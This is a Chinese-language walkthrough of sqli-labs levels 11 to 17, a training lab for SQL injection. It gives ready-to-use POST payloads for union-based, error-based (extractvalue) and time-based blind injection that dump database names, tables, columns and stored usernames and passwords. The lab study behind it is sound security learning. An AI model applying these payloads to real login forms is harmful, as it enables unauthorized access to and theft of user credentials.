sqli-labs POST （11-17）

      写在前面的话：今天比较空闲，把11-17给写了，18之后的是另外一种方式了，需要改包，遂单独作为一篇了。

LESS 11
   由于是POST，与GET有一定的区别，不能直接在地址栏处构造playload，每次在输入框中构造有些难受，可以使用burpsuite或者火狐的hackbar。
在Username处输入admin’， Password 随意输，可以看到回显报错，由报错可知是单引号字符注入。

接下来的步骤在BP上进行。
与GET关相同，我们先判断有几个回显位。
uname=admin’ order by 3 #&passwd=admin&submit=Submit
uname=admin’ order by 2 #&passwd=admin&submit=Submit
可以看到3时报错，2是回显正常，回显位有两位。

uname=1admin’ union select 1,database() #&passwd=admin&submit=Submit
得到当前数据库名称。

之后用GET关的相关方法进行操作。
爆表：
uname=1admin’ union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() #&passwd=admin&submit=Submit

爆列：
uname=1admin’ union select 1,group_concat(column_name) from information_schema.columns where table_name =‘users’ #&passwd=admin&submit=Submit

爆数值：
uname=1admin’ union select group_concat(username,’_{’),group_concat(password,’}’) from users #&passwd=admin&submit=Submit

LESS 12
与less11相同，只不过对于username参数的处理，需要构造成admin")，其余相同。

LESS 13
username：admin‘
password：随便
   根据回显可以判断对username的处理为admin’)。其次检查回显位时，会发现正确的执行并不回显，但错误可以回显，所以可以采用基于报错的盲注。

获取数据库名称：
uname=1admin’) and extractvalue(1,concat(’~’,(select database()),’~’)) # &passwd=2312&submit=Submit

爆表：
uname=1admin’) and extractvalue(1,concat(’~’,(select group_concat(table_name) from information_schema.tables where table_schema =database()),’~’)) # &passwd=2312&submit=Submit

爆列：
uname=1admin’) and extractvalue(1,concat(’~’,(select group_concat(column_name) from information_schema.columns where table_name =‘users’),’~’)) # &passwd=2312&submit=Submit

爆数值：
uname=1admin’) and extractvalue(1,concat(’~’,(select group_concat(username,’//’,password) from users),’~’)) # &passwd=2312&submit=Submit

   由于extractvalue只能查询32位数据，所以只能显示这么多，需要其他的数据可以考虑其余的盲注方法。
LESS 14
   与LESS13相同，可选用报错注入，将对username的构造改为admin“，其余不变即可。

LESS 15
   此关没有错误提示，只能用时间盲注了，和GET关相同。
uname=admin’ and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit
   其余palyload自行构造。
   其次成功与错误的界面有点不同，主要为图片不同，可以根据图片名称不同这点写脚本。

LESS 16
与less15相同，将username的构造改为admin") 即可，其余不变。

LESS 17
   题目要求感觉是要修改密码，emmm，一样的思路，爆出数值在进行update就行，尝试对username进行构造，发现没有回显，在password处构造11’。
即：username：admin
         password：11’
至于为什么这样构造，看源码就知道了，orz。
余下进行报错注入。
uname=admin & passwd=11’ and extractvalue(1,concat(0x7e,(select database()),0x7e)) # &submit=Submit
剩余palyload与less15相同。